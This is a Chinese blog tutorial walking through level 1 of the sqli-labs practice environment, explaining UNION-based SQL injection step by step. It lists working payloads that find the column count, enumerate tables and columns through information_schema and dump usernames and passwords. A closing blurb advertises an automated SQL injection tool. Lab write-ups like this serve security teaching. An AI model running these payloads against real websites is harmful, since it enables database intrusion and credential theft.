sql注入 union联合查询注入(超详细)

sql注入 union联合查询注入

我们以sqli-labs的第一关为例,来具体理解union联合查询注入的方法,理解每一步我为什么要这么去做。
好的,我们开始第一关!

首先查看sqli-labs第一关
在这里插入图片描述
这是第一关初始界面,在url界面输入?id=1 发现有回显,给我们回显了两个数据
在这里插入图片描述
当我们输入?id=1’ 时出现了语法错误,表示这里可能存在语法漏洞,我们进一步探索
在这里插入图片描述
当我们输入 ?id=1’ --+ 时,又回显正常,然后我们用 ?id=1’ and 1=1–+ 回显正常,?id=1’ and 1=2–+ 没有回显, 于是可以判断此处为sql注入点。
在这里插入图片描述
然后,我们使用order by 判断该语句查询了几列数据
输入?id=1’ order by 3 --+
输入?id=1’ order by 4 --+
发现输入第一句时回显正常,输入第二句时报错。可以证明前面查询了三列数据。

思考:
1.为什么用order by 可以证明前面语句查询了三列数据呢?
2.我们为什么要知道前面查询了多少语句呢?

解:
第一题:
首先我们要知道order by的作用:order by 简单的来说 就是对前面查询的数据进行分组,分组依据是前面查询的内容的属性。比如说前面查询的数据是甲、乙、丙,我们可以根据这三种属性的一到三种进行分类,但是不能超过三种。所以上面order by 4 会报错误信息。因此可以依据此来判断前面查询了几列数据。
第二题:
因为使用union函数进行查询时,union前面查询语句查询的元素与后面查询语句查询的元素要数量上一样,所以我们必需要知道前面语句查询了多少个元素。比如,此语句:select 甲,乙,丙 union select 1,2,3 因为前面查询的语句有三个元素(甲,乙,丙),所以后面查询的语句必须是三个元素(1,2,3)。
在这里插入图片描述
在这里插入图片描述
判断元素后,开始寻找显示位。
使用语句:?id=111‘ union select 1,2,3 --+
查看到显示2,3。于是判断显示位为第二个元素和第三个元素。
这里将id值改为111是为了让前面查询的语句为空,无显示,然后后面查询语句查询的元素显示出来。
为什么要进行这一步?因为要将显示位判断出来,我们才能知道应该在哪里注入我们查询的语句它才会显示。
在这里插入图片描述
开始查询数据库名
使用语句:?id=111’ union select 1,2,(database()) --+
使用第三个元素的显示位直接查询
在这里插入图片描述
查询表名
使用语句: ?id=111’ union select 1,2,(group_concat(table_name) from information_schema.tables where table_schema=‘security’) --+
理解此语句,首先我们应该要知道数据库中,有一个information_schema库,里面有一个tables表,里面存有整个数据库的表名。我们要去查找的表,就是在这个库中去找。
使用group_concat()函数将所有查询的表名连在一起成为一条数据。
在这里插入图片描述
在这里插入图片描述
查询表中列名
当我们拿到所有的表名后,选取可能含有敏感信息的表进行查询,比如users表。
使用语句:
?id= 111’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name = ‘users’ ) --+
理解此语句,首先我们应该要知道数据库中,有一个information_schema库,里面有一个columns表,里面存有整个数据库的列名。我们要去查找的列,就是在这个库中去找。
在这里插入图片描述
在这里插入图片描述
查找列中的值
使用语句:
?id=111’ union select 1,group_concat(username),group_concat(password) from security.users --+
使用2,3显示位 查询列中的值。
在这里插入图片描述

  • 10
    点赞
  • 40
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
C# vs2015开发 官方下载地址: http://www.shack2.org/article/1417357815.html 简介: SQL注入工具(SSQLInjection)是一款基于HTTP协议自组包的SQL注入工具,支持出现在HTTP协议任意位置的SQL注入,支持各种类型的SQL注入,支持HTTPS模式注入SQL注入工具(SSQLInjection)是一款基于HTTP协议自组包的SQL注入工具。 SQL注入工具支持自动识别SQL注入,并自动配置,如程序无法自动识别,还可人工干预识别注入,并标记注入位置。 SQL注入工具支持出现在HTTP协议任意位置的SQL注入,支持各种类型的SQL注入,支持HTTPS模式注入SQL注入工具支持Bool型盲注、错误显示注入Union注入等方式获取数据。 SQL注入工具支持Access、MySQL5以上版本、SQLServer、Oracle等数据库。 SQL注入工具支持手动灵活的进行SQL注入绕过,可自定义进行字符替换等绕过注入防护。 本工具为渗透测试人员、信息安全工程师等掌握SQL注入技能的人员设计,需要使用人员对SQL注入有一定了解。 工具特点: 1.支持任意地点出现的任意SQL注入 2.支持全自动识别注入标记,也可人工识别注入并标记。 3.支持各种语言环境。大多数注入工具在盲注下,无法获取中文等多字节编码字符内容,本工具可完美解决。 4.支持注入数据发包记录。让你了解程序是如何注入,有助于快速学习和找出注入问题。 5.依靠关键字进行盲注,可通过HTTP相应状态码判断,还可以通过关键字取反功能,反过来取关键字。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值